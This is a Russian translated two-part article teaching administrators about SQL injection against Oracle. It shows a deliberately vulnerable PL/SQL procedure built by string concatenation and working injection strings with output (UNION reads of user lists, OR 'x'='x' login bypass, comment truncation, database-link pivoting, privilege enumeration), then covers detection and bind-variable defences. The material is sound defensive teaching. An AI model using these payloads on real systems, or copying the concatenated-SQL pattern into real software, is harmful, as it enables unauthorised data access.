Август/Сентябрь 2003


Профессионалу администратору


Михаил Разумов,
по материалам SecurityFocus

SQL инъекция и ORACLE

Источник: SecurityLab.ru,


 Часть I

Методы SQL инъекции в последнее время представляют опасную угрозу защите информации, хранящейся в базах данных Oracle. Хотя написано множество статей об SQL инъекции, тем не менее, очень редко описываются особенности их использования против базы данных ORACLE. В этой статье мы исследуем нападения SQL инъекции против базы данных ORACLE. Цель этой статьи состоит в том, чтобы объяснить пользователям ORACLE опасность SQL инъекции  и предложить простые способы защиты против этого типа нападений.

Что такое SQL инъекция

SQL инъекция – способ нападения на базу данных в обход межсетевой защиты. В этом методе,  параметры, передаваемые к базе данных через Web приложения, изменяются таким образом,  чтобы изменить выполняемый SQL запрос. Например, добавляя символ (‘) к параметру, можно выполнить дополнительный запрос совместно с первым.

Нападение может использоваться для следующих целей

  1. Получить доступ к данным, которые обычно недоступны или получить данные конфигурации системы, которые могут использоваться для дальнейших нападений. Например, измененный запрос может возвратить хешированные пароли пользователей, которые в последствии могут быть расшифрованы методом грубой силы.
  2. Получить доступ к компьютерам организации, через компьютер, на котором хостится база данных. Это можно реализовать, используя процедуры базы данных и расширения 3GL языка, которые позволяют доступ к операционной системе.

Существует несколько способов использовать эти методы на системе ORACLE, в зависимости от используемого языка или API. Ниже представлены некоторые языки, API и инструменты, которые могут получить доступ к базе данных ORACLE и могут быть частью Web приложения:

  • JSP
  • ASP
  • XML, XSL и XSQL
  • Javascript
  • VB, MFC, и другие ODBC основанные утилиты и API
  • Различные Web приложения
  • 3 и 4GL языки, типа Си, OCI, Pro*C и Cobol
  • Perl и CGI сценарии, имеющие доступ к базе данных

Любое из вышеупомянутых приложений, инструментов и программ может использоваться как основа для изменения SQL запроса базы данных ORACLE. Для этого должны выполнятся несколько простейших условий, главное из которых состоит в том, что в вышеупомянутых средствах должен использоваться динамический SQL, так как в противном случае  SQL инъекция невозможна.

Также важно упомянуть, что SQL инъекция против любой базы данных, включая ORACLE, может использоваться не только через Web приложения.  Любое приложение,  позволяющее пользователю вводить данные, которые могут быть частью динамического SQL запроса, может быть потенциально уязвимо к нападениям SQL инъекции. Очевидно, что Web приложения представляют наибольшую угрозу, поскольку любой пользователь с браузером и доступом к Интернет может потенциально обратиться к чувствительным данным.

Во второй части статьи более подробно обсуждаются методы защиты против нападений SQL инъекции, но есть несколько моментов, о которых необходимо упомянуть в этом вводном разделе. Данные, хранящиеся в базе данных ORACLE, должны быть защищены от пользователей,  которые имеют доступ к сети и приложениям, обслуживающим эти данные. Администраторы базы данных должны понимать, что большинство угроз данным, хранящимся в базе данных, исходит от авторизованных пользователей.

Защита от SQL инъекции на ORACLE системах в принципе проста и включает две основные стадии:

  1. Ревизия кода приложений и устранение проблем, которые могут способствовать  SQL инъекции (более подробно эти проблемы будут обсуждены во второй части статьи).
  2. Использование принципа наименьшего количества привилегий на уровне базы данных так, чтобы даже если кто-то смог изменить SQL запрос, он не смог бы получить больше информации, чем бы он мог получить через предназначенный для этого интерфейс приложения.

Во второй части статьи мы обсудим подробности как эти пункты можно применить к ORACLE приложениям.

Эксплуатация ORACLE

Oracle, подобно другим базам данных, уязвим к нападениям SQL инъекции. Следующие неправильные обращения могут использоваться против базы данных ORACLE:

  • UNION можно добавить к SQL инструкции, чтобы выполнить вторую инструкцию;
  • SUBSELECTS можно добавить к существующим инструкциям;
  • Существующий SQL запрос может использовать обходные пути, чтобы возвратить все данные. Эта методика часто используется, чтобы получить доступ через опознавательные схемы, осуществленные другими программами;
  • Доступен большой выбор установленных пакетов и процедур, которые могут использоваться для чтения и записи файлов на операционной системе;
  • Data Definition Language (DDL) может эксплуатироваться, если  он используется в динамической SQL строке;
  • Могут быть внедрены INSERT, UPDATE и DELETE.

С другой стороны, в ORACLE невозможно использовать следующие методы, присущие другим базам данных:

  • Не могут использоваться множественные инструкции;
  • SQL инъекция невозможна, когда запрос использует присвоенные переменные;

Некоторые специфические примеры

Web приложения наиболее уязвимы к нападениям SQL инъекции. Они могут быть написаны, используя ASP, JSP или другие вышеупомянутые языки. Можно сказать, что SQL инъекция это не проблема базы данных, а проблема неправильно написанного Web приложения.

Чтобы проиллюстрировать некоторые из возможностей SQL инъекции на Oracle, я написал простую процедуру PL/SQL, которая отображает телефонный номер клиентов из гипотетической таблицы клиента в базе данных. Как я уже говорил, можно изменить любую часть SQL запроса, который динамически сформирован во время выполнения и в котором входные данные предварительно не проверены.   Чтобы продемонстрировать SQL инъекцию, можно использовать PL/SQL и вездесущий инструмент SQL*Plus . Процедура использует динамический SQL, чтобы передать часть SQL к базе данных. Использование PL/SQL  процедуры и динамического SQL во всех отношениях идентично SQL инъекции через Web интерфейс, за исключением того, что в нашем примере мы эксплуатируем уязвимость локально, а не удаленно, поэтому читатель должен держать это в уме при прочитывании этой статьи. Также, из-за этого подхода мы не используем никаких методов символьного кодирования, чтобы передать специальные символы или метасимволы на сервер базы данных от Web-браузера. Пример используемой структуры таблицы:

SQL> desc customers
 Name                                      Null?    Type
 ----------------------------------------- -------- ----------------------------
 CUSTOMER_FORNAME                                   VARCHAR2(30)
 CUSTOMER_SURNAME                                   VARCHAR2(30)
 CUSTOMER_PHONE                                     VARCHAR2(30)
 CUSTOMER_FAX                                       VARCHAR2(30)

 CUSTOMER_TYPE                                        NUMBER(10)

Таблица была загружена следующим образом:

SQL> select * from customers;

CUSTOMER_FORNAME               CUSTOMER_SURNAME
------------------------------ ------------------------------
CUSTOMER_PHONE                 CUSTOMER_FAX                   CUSTOMER_TYPE
------------------------------ ------------------------------ -------------
Fred                           Clark
999444888                      999444889                                  3

Bill                           Jones
999555888                      999555889                                  2

Jim                            Clark
999777888                      999777889                                  1

Типовая используемая процедура создана со следующим кодом. Для этих испытаний я использовал гипотетического пользователя DBSNMP, который имеет больше привилегий, чем необходимо для обычного пользователя. Этот пользователь иллюстрирует проблему Web пользователей, ограничиваемых наименьшим количеством привилегий:

create or replace procedure get_cust (lv_surname in varchar2)
is
        type cv_typ is ref cursor;
        cv cv_typ;
        lv_phone        customers.customer_phone%type;
        lv_stmt         varchar2(32767):='select customer_phone '||
                                        'from customers '||
                                        'where customer_surname='''||
                                        lv_surname||'''';
begin
        dbms_output.put_line('debug:'||lv_stmt);
        open cv for lv_stmt;
        loop

                fetch cv into lv_phone;
                exit when cv%notfound;
                dbms_output.put_line('::'||lv_phone);
        end loop;
        close cv;
end get_cust;
/

Невозможно просто добавить другую инструкцию в существующую инструкцию, сформированную процедурой для выполнения, как, например, в MS SQL. Посмотрим, что произойдет с нашей процедурой в этом случае:

SQL> exec get_cust('x'' select username from all_users where ' 'x' '=’ 'x');
debug:select customer_phone from customers where customer_surname='x' select
username from all_users where 'x'='x'
-933ORA-00933: SQL command not properly ended

Процедура ожидает фамилию клиента и должна формировать инструкцию формы:

select customer_phone from customers where customer_surname='Jones'

Как видно, можно добавить дополнительный SQL после имени,  изменяющий существующий SQL запрос, используя кавычки. В предыдущем примере, ORACLE возвращает ошибку, если мы посылаем две SQL инструкции сразу к RDBMS. Инструкции в ORACLE разграничены точкой с запятой (;), т.е. мы можем попробовать следующее:

SQL> exec get_cust('x'';select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x';select
username from all_users where 'x'='x'
-911ORA-00911: invalid character

ORACLE снова возвратил ошибку. Добавление точки с запятой после первой инструкции не позволяет выполнить вторую инструкцию, так что единственный способ заставить ORACLE выполнить дополнительный SQL запрос состоит в том, чтобы расширить существующее ‘where’ или использовать union или subselect. Следующий пример демонстрирует, как получить дополнительные данные из другой таблицы. В этом случае, мы прочитаем список пользователей в базе данных из таблицы ALL_USERS.

SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::MDSYS
::ORDPLUGINS
::ORDSYS
::OSE$HTTP$ADMIN
::OUTLN
::SYS
::SYSTEM
::TRACESVR  

Мы также можем использовать подзапросы, чтобы расширить существующую инструкцию SELECT. Такое изменение не может принести много пользы, поскольку SELECT не может использоваться для добавления новых столбцов в других таблицах; однако, в этом случае мы можем изменить записи, возвращенные существующим запросом. Следующий пример возвращает все  записи в таблице:

Дополнительное “ и ‘x’=’x’” необходимо, что бы закрыть первоначальную кавычку. Вышеупомянутый пример возвращает все записи  в нашей типовой таблице.

В следующем примере мы рассмотрим способ усечения SQL запроса до оператора WHERE так, чтобы были возвращены все записи таблице. Типичный пример эксплуатации - Web приложения, использующие способ идентификации при входе в систему, в котором ищется запись в таблице пользователей, которой соответствует введенное имя пользователя и пароль.  Например:

select * from appusers where username=’someuser’ and password=’somecleverpassword’
SQL> exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or exists
(select 1 from sys.dual) and 'x'='x'
::999444888
::999555888
::999777888  

Усекая запрос, мы можем заставить SQL возвратить все записи в таблице. Это позволит войти в систему, да еще и предварительно возвратит учетную запись администратора! Ниже – пример усечения нашей типовой таблицы  клиентов.  Все записи могут быть возвращены, используя “OR ‘x’=’x’” в ‘where’ следующим способом:

SQL> exec get_cust('x'' or ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
::999444888
::999555888
::999777888

Затем, изменим  процедуру, чтобы расширить используемый SQL таким образом, чтобы была усечена вторая часть выражения после ‘WHERE’. Сначала рассмотрим пример изменяемой процедуры:

create or replace procedure get_cust2 (lv_surname in varchar2)
is
        type cv_typ is ref cursor;
        cv cv_typ;
        lv_phone        customers.customer_phone%type;
        lv_stmt         varchar2(32767):='select customer_phone '||
                                'from customers '||
                                'where customer_surname='''||
                                lv_surname||''' and customer_type=1';
begin
        dbms_output.put_line('debug:'||lv_stmt);
        open cv for lv_stmt;
        loop
                fetch cv into lv_phone;
                exit when cv%notfound;
                dbms_output.put_line('::'||lv_phone);

        end loop;
        close cv;
exception
        when others then
                dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;

Мы будем использовать символы комментария “- -“, чтобы усечь SQL после оператора ‘WHERE’. Этот метод полезен в случае, когда приложение использует более одного поля, которое добавляется  к динамическому SQL запросу и передается к базе данных. Чтобы упростить добавление дополнительного SQL и обойти все поля, мы можем добавить “- -“ в запись, которую мы считаем первым полем и внедрить наш SQL запрос. Пример:

SQL> exec get_cust2('x'' or ''x''=''x'' --');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
--' and customer_type=1
::999444888
::999555888
::999777888  

Выполняя, мы видим, что возвращены все три записи из-за инструкции “or”. Если там не было бы комментария, то выполняемый SQL запрос все еще содержал бы строку “and customer_type=1”.  Можно также использовать union и select на таблице all_users и затем прокомментировать остальную часть после оператора ‘WHERE’.

Все приведенные выше примеры показывают, как можно внедрить дополнительный SQL в оператор ‘select’. Те же самые принципы могут использоваться в операторах update, insert и delete. Другие операторы, доступные в Oracle, включают DDL (Data Definition Language) операторы, которые позволяют изменить логическую структуру базы данных. Например, с помощью DDL, можно создать таблицу или изменить используемый язык.  Часто приложения позволяют посылать любой SQL запрос к серверу.  Это плохой способ программирования, поскольку  позволяет выполнять операторы типа DDL.  Можно утверждать, что рассматриваемый случай не является SQL инъекцией, потому что может быть выполнен любой SQL, без изменения существующего SQL запроса.

В заключении мы рассмотрим проблемы в модулях, процедурах и функциях. Можно вызвать PL/SQL функцию из SQL инструкции. Существуют более тысячи встроенных функций и процедур, поставляемых со стандартными пакетами. Обычно они запускаются с DBMS (database management system) или UTL. Заголовки этих процедур могут быть найдены в $ORACLE_HOME/rdbms/admin. Также список процедур и функций может быть получен следующим запросом:

SQL> col owner for a15
SQL> col object_type for a30
SQL> col object_name for a30
SQL> select owner,object_type,object_name
  2  from dba_objects
  3  where object_type in('PACKAGE','FUNCTION','PROCEDURE');

OWNER           OBJECT_TYPE                    OBJECT_NAME
--------------- ------------------------------ ------------------------------
SYS             FUNCTION                       CLIENT_IP_ADDRESS

SYS             FUNCTION                       DATABASE_NAME
SYS             FUNCTION                       DBJ_LONG_NAME
SYS             FUNCTION                       DBJ_SHORT_NAME
SYS             PACKAGE                        DBMSOBJG
…
CTXSYS          PACKAGE                        DR_DEF
CTXSYS          PROCEDURE                      SYNCRN

391 rows selected.

Ниже приведен пример, который вызывает встроенную функцию. Функция SYS.LOGIN_USER возвращает имя вошедшего пользователя:

SQL> exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select sys.login_user from sys.dual where 'x'='x'
::DBSNMP

Функции или процедуры, которые могут быть вызваны с SQL, сильно ограничены: функция не должна изменять состояние базы данных или состояние пакета, если она вызвана удаленно, и функция не может изменить переменные пакета, если она вызвана в операторе ‘WHERE’ или группе операторов. В версиях более ранних, чем  Oracle 8, очень немного встроенных функций или процедур можно вызвать из PL/SQL функции, которая вызывается из SQL инструкции. Эти ограничения несколько сняты в Oracle 8, но пользователи все равно не способны вызывать пакеты file или output типов, типа UTL_FILE или DBMS_OUTPUT или DBMS_LOB непосредственно из SQL инструкций, поскольку они должны выполняться в PL/SQL блоке или вызываться выполняющей командой из SQL*Plus. Можно использовать процедуры, являющиеся частью функции, которая предназначена для вызова из SQL запроса.

Если форма или приложение формируют и выполняют динамический PL/SQL тем же самым способом, как описано выше, могут использоваться те же самые методы, чтобы вставить запросы к стандартным PL/SQL пакетам на любых PL/SQL пакетах или функциях, которые существуют в логической структуре базы данных.

Если в атакуемой базе данных существуют ссылки к другим базам данных, эти базы могут также использоваться в попытках SQL инъекции. Это позволяет выполнять нападения через межсетевую защиту к базе данных, которая недоступна через Интернет. Ниже простой пример, который использует нашу  PL/SQL процедуру, чтобы прочитать системную дату из другой базы данных в сети:

SQL> exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select to_char(sysdate) from sys.dual@plsq where 'x'='x'
::13-NOV-02

Заключение

В первой части статьи мы предложили краткий обзор SQL инъекции и привели несколько примеров того, как эта методика может использоваться против баз данных Oracle. В следующей статье мы рассмотрим способы обнаружения SQL инъекции и обсудим методы защиты.


 Часть II

Это вторая часть из серии статей, исследующих атаки SQL инъекции против баз данных Oracle. Первая статья содержала обзор SQL инъекции и того, как приложения базы данных Oracle уязвимы к этой атаке, также были рассмотрены несколько примеров. Эта часть сосредоточится на определении привилегий, обнаружении атак SQL инъекции, и защите против SQL инъекции.

Определение Привилегий

Возможность осуществлять SQL инъекции в базу данных Oracle – это само по себе уже много, но на что обратит внимание атакующий для увеличения своих возможностей? Конечно, ему может понадобиться определить, что может видеть и делать пользователь, к которому он получил доступ. Я покажу здесь несколько примеров, чтобы читатели поняли, что можно сделать.

В этом примере, мы вошли как пользователь dbsnmp и изменили процедуру get_cust таким образом, чтобы выбрать три колонки из выбранной нами таблицы. Если мы используем union, чтобы расширить существующий запрос select, тогда новый SQL в union должен выбирать то же количество колонок и те же типы данных, как и существующий select, иначе возникнет ошибка, как показано ниже:

SQL> exec get_cust('x'' union select 1,''Y'' from sys.dual where ''x''=''x');
  debug:select customer_phone,customer_forname,customer_surname from customers
  where customer_surname='x' union select 1,'Y' from sys.dual where 'x'='x'
  -1789ORA-01789: query block has incorrect number of result columns

Основной select здесь имеет три колонки varchar, а мы выбираем две колонки, одна из которых является числовой; в результате возникает ошибка. Возвращаясь к определению привилегий, сначала определим объекты, которые может видеть пользователь, под которым мы вошли:

SQL> exec get_cust('x'' union select object_name,object_type,''x'' from user_obj
  ects where ''x''=''x');
  debug:select customer_phone,customer_forname,customer_surname from customers
  where customer_surname='x' union select object_name,object_type,'x' from

  user_objects where 'x'='x'
  ::CUSTOMERS:TABLE:x
  ::DBA_DATA_FILES:SYNONYM:x
  ::DBA_FREE_SPACE:SYNONYM:x
  ::DBA_SEGMENTS:SYNONYM:x
  ::DBA_TABLESPACES:SYNONYM:x
  ::GET_CUST:PROCEDURE:x
  ::GET_CUST2:PROCEDURE:x
  ::GET_CUST_BIND:PROCEDURE:x
  ::PLSQ:DATABASE LINK:x   

Затем определим роли, которые определены для пользователя:

SQL> exec get_cust('x'' union select granted_role,admin_option,default_role from
   user_role_privs where ''x''=''x');
  debug:select customer_phone,customer_forname,customer_surname from customers
  where customer_surname='x' union select granted_role,admin_option,default_role
  from user_role_privs where 'x'='x'
  ::CONNECT:NO:YES
  ::RESOURCE:NO:YES
  ::SNMPAGENT:NO:YES

После этого определим системные привилегии, назначенные пользователю:

SQL> exec get_cust('x'' union select privilege,admin_option,''X'' from user_sys_
  privs where ''x''=''x');
  debug:select customer_phone,customer_forname,customer_surname from customers
  where customer_surname='x' union select privilege,admin_option,'X' from
  user_sys_privs where 'x'='x'
  ::CREATE PUBLIC SYNONYM:NO:X
  ::UNLIMITED TABLESPACE:NO:X  

Выбор из таблицы USER_TAB_PRIVS даст нам привилегии, данные пользователю по отношению к объектам. Существует много системных представлений (views), которые начинаются с USER_%, они показывают объекты и привилегии, которые назначены текущему пользователю, а также подробности об объектах, которые принадлежат пользователю. Например, есть 168 представлений или таблиц в Oracle 8.1.7; это показывает множество деталей, которые можно узнать о пользователе, под которым вы вошли. Представления USER_% не включают все возможные привилегии и возможности, доступные текущему пользователю; однако, помимо тех, что предоставлены отдельно, любой пользователь также может иметь доступ ко всем объектам, к которым дан доступ для  PUBLIC.

PUBLIC – это объединение, которое доступно всем пользователям базы данных Oracle. Существует хороший набор представлений, известных как ALL_%, которые по структуре аналогичны представлениям USER_%. ALL_% включают в себя все, что доступно текущему пользователю, включая PUBLIC. Хорошая точка для старта – представление ALL_OBJECTS, так как оно имеет такую же структуру, как и USER_OBJECTS и показывает все объекты и их типы, доступные текущему пользователю. Хороший запрос, позволяющий увидеть все объекты, их типы и владельца, выглядит так:

select count(*),object_type,owner
  from all_objects
  group by object_type,owner

Представления V$ также представляют собой хороший набор, если они доступны для пользователя. Они дают информацию о текущих экземплярах (instance), производительности (performance), параметрах, и т.п. Хорошим примером является V$PARAMETER, который дает все параметры инициализации экземпляра базы данных (database instance), включая детали директорий UTL_FILE. V$PROCESS и V$SESSION – другая пара представлений, которые дают детали о текущих сессиях и процессах. Они скажут пользователю, кто в настоящий момент подключен к базе, откуда они подключены, какую программу они используют и т.д.

В заключение к этой исследовательской главе стоит упомянуть, что поскольку я хотел создать легкие примеры, которые сможет повторить кто угодно, имея копию Oracle RDBMS (Relational DataBase Management System - система управления реляционной базой данных), я использовал процедуру PL/SQL, чтобы продемонстрировать методы, и очевидно, я имел доступ к своему исходному коду. Это облегчило мне задачу написания SQL запросов, которые я смог бы успешно отправлять, не получая ошибок.

В реальном мире, в веб-среде, или сетевом приложении, исходный код вряд ли будет доступен. В результате, получение удачного SQL запроса возможно методом проб и ошибок. Если пользователю возвращается сообщение об ошибке, либо непосредственно с Oracle RDBMS, либо из приложения, обычно есть возможность понять, где требуется изменение в SQL. Отсутствие сообщений об ошибке делает это более сложным, но не невозможным. Все сообщения об ошибках Oracle хорошо документированы и доступны online на Unix-системе командой oerr, или в виде документации в формате HTML, предоставляемой на CD с Oracle для любой платформы. (Помните, что можно свободно копировать Oracle с целью изучения.) Дистрибутив Oracle и документация доступны в online режиме с http://tahiti.oracle.com/.

Знание Oracle и используемой схемы пользователя также дает большое преимущество. Вполне очевидно, что некоторые их этих знаний несложно получить, так что помните о том, что в случае, если кто угодно может осуществить SQL инъекцию в вашу базу данных,  вам следует минимизировать то, что они смогут сделать, увидеть, или к чему получить доступ.

Обнаружение SQL инъекции

Oracle – большой продукт, применяемый для многих целей, так что утверждение, что SQL инъекцию можно обнаружить, является ложным; однако, в некоторых случаях, для DBA или security admin может оказаться возможным определить, использовалась ли эта техника. Если подозревается, что имело место нападение, можно провести компьютерную экспертизу с использованием redo логов. От Oracle доступна GUI утилита под названием Log Miner для анализа redo логов. Однако, существуют серьезные ограничения: до версии 9i, оператор select не может быть восстановлен. Redo логи позволяют Oracle переиграть все события, которые привели к изменению данных в базе, это часть возможностей восстановления. Можно увидеть все запросы и данные, которые были изменены. Существуют два стандартных пакета PL/SQL, DBMS_LOGMNR и DBMS_LOGMNR_D, эти пакеты позволяют запрашивать из командной строки redo логи для всех обработанных запросов.

Широкие функциональные возможности аудита Oracle можно использовать, но, если вы не знаете, чего ищите, поиск свидетельств SQL инъекции может оказаться подобием поиска иголки в стоге сена. В любой базе данных Oracle необходимо соблюдать принцип наименьших привилегий, таким образом, чтобы пользователям базы предоставлялись только те права, которые фактически необходимы. Это сокращает количество авторизованных действий, в результате, делает более легким определение любых действий, лежащих вне возможностей этих пользователей. Например, если пользователь приложения Oracle должен иметь доступ к семи таблицам и трем процедурам, и ничему более, то использование аудита ошибок Oracle для записи ошибок оператора select по отношению ко всем другим таблицам должно позволить администратору обнаружить любые попытки доступа за пределы, относящиеся к этому приложению. Это можно сделать, к примеру, для одной таблицы следующей командой аудита:

SQL> audit select on dbsnmp.customers by access whenever not successful;

  Audit succeeded.

Можно написать простой скрипт для включения аудита ошибок для требуемых таблиц. Не должно возникнуть заметных проблем с производительностью из-за аудита, так как к этим таблицам приложение не должно обращаться, а следовательно, не должно создавать ошибок. Конечно, если кто-то успешно обратится к таблице за пределами, определенными для приложения, это не будет обнаружено. Эта мера является просто первым шагом.

Те же принципы аудита могут быть использованы для DDL, ошибок или успехов вставки или обновления.

Другая идея состоит в наблюдении за запускаемыми запросами SQL и поиске подозрительных запросов. Можно использовать хороший скрипт peep.sq для доступа к SQL, запускаемым из SGA (System Global Area – Глобальная Область Системы). Этот скрипт показывает SQL запросы в SGA с худшими временными характеристиками выполнения. Он может быть легко изменен удалением ограничений на время исполнения, показывая таким образом все SQL в SGA. Такой скрипт можно запускать по графику, и затем возвращаемый SQL можно использовать для предположения, предпринимались ли какие-то попытки SQL инъекции. Я говорю «предположения», потому что практически невозможно знать все корректные части SQL, которые создает приложение; следовательно, то же самое относится к обнаружению некорректных. Хорошим началом было бы обнаружение всех запросов, содержащих “union”, или or со строками типа ‘x’=’x’. Возможны проблемы с производительностью при регулярном выделении всех SQL из SGA.

Лучшее лечение – это, безусловно, предупреждение!

Защита от SQL инъекции

Кажется, что защиту от SQL инъекции легко реализовать, однако в действительности, это не так просто, как кажется. Решения разделяются на две области:

  • Не разрешайте динамических SQL, которые используют конкатенацию, или, по крайней мере, фильтруйте входные значения и проверяйте на специальные символы типа кавычек.
  • Используйте принцип наименьших привилегий и убедитесь, что пользователи, созданные для приложений, имеют те права доступа, которые им нужны, а все дополнительные (такие, как PUBLIC) отключены.

Мы не будем вдаваться в подробности в этой главе; для этого нужно писать отдельную статью. Однако, необходимо предпринять некоторые основные меры:

  • Проверьте исходный код приложений. Код может быть написан на множестве различных языков, таких как PHP, JSP, java, PL/SQL VB, и т.д., так что решения могут быть различны. Однако, все они похожи. Просмотрите исходный код на наличие динамического SQL с использованием конкатенации. Найдите вызов, который анализирует SQL и запускает на выполнение. Найдите, где вводятся значения. Убедитесь, что входные значения проверяются на корректность, что кавычки совпадают и проверяются метасимволы. Анализ исходного кода – это задача, зависящая от используемого языка.
  • Защитите базу данных и убедитесь, что все избыточные полномочия запрещены.

Некоторые другие простые советы:

  • Если это возможно, не используйте динамические PL/SQL. Потенциальный ущерб в этом случае намного выше, чем в случае динамического SQL, так как появляется возможность исполнять любой SQL, DDL, PL/SQL и т.д.
  • Если динамический PL/SQL необходим, используйте переменные bind.
  • Если используется PL/SQL, используйте AUTHID CURRENT_USER, чтобы PL/SQL запускался от имени вошедшего пользователя, а не создателя процедуры, функции, или программы.
  • Если требуется конкатенация, используйте числовые значения. Таким образом, нельзя будет передать строки для добавления SQL.
  • Если требуется конкатенация, проверяйте входные параметры на злонамеренный код, например, проверяйте наличие union в переданной строке, или метасимволов, таких как кавычки.
  • Для динамического SQL необходимо использовать bind переменные. Ниже показан пример:
create or replace procedure get_cust_bind (lv_surname in varchar2)
  is
          type cv_typ is ref cursor;
          cv cv_typ;
          lv_phone        customers.customer_phone%type;
          lv_stmt         varchar2(32767):='select customer_phone '||
                                  'from customers '||
                                  'where customer_surname=:surname';
  begin
          dbms_output.put_line('debug:'||lv_stmt);
          open cv for lv_stmt using lv_surname;
          loop
                  fetch cv into lv_phone;
                  exit when cv%notfound;
                  dbms_output.put_line('::'||lv_phone);
          end loop;
          close cv;
  exception
          when others then
                  dbms_output.put_line(sqlcode||sqlerrm);
  end get_cust_bind;
  /       

Сначала мы запустим функцию с нормальным значением параметра, в данном случае “Clark”, чтобы увидеть, что возвращаются корректные записи. Затем, когда мы попытаемся сделать SQL инъекцию в эту процедуру, мы увидим, что это не сработает:

SQL> exec get_cust_bind('Clark');
  debug:select customer_phone from customers where customer_surname=:surname
  ::999444888
  ::999777888
   

  PL/SQL procedure successfully completed.
   
  SQL> exec get_cust_bind('x'' union select username from all_users where ''x''=''
  x');
  debug:select customer_phone from customers where customer_surname=:surname

Еще некоторые советы:

  • Шифруйте чувствительные данные, чтобы их нельзя было посмотреть.
  • Запретите все PUBLIC привилегии в базе данных, где это возможно.
  • Не разрешайте доступ к UTL_FILE, DBMS_LOB, DBMS_PIPE, DBMS_OUTPUT, UTL_HTTP,UTL_SMTP или любым другим стандартным приложениям, дающим доступ к ОС.
  • Смените заданные по умолчанию пароли в базе данных.
  • Запускайте listener от имени непривилегированного пользователя.
  • Убедитесь, что для пользователей приложений определен минимум прав.
  • Ограничьте PL/SQL пакеты, к которым есть доступ из apache.
  • Удалите все примеры скриптов и программ из установки Oracle.

Заключение

Надеюсь, что эта статья предоставила обзор некоторых возможностей SQL инъекции в Oracle с примерами, которые смогут повторить большинство читателей. Напомню, SQL инъекция – относительно простая техника, и кажется, что защита от нее должна быть элементарной; однако аудит всего исходного кода и защита динамического ввода – нетривиальная задача, как и ограничение прав всех пользователей приложений в самой базе данных. Будьте бдительны, предоставляйте только то, что нужно, и попытайтесь уменьшить количество динамического SQL до минимума.

E-mail this page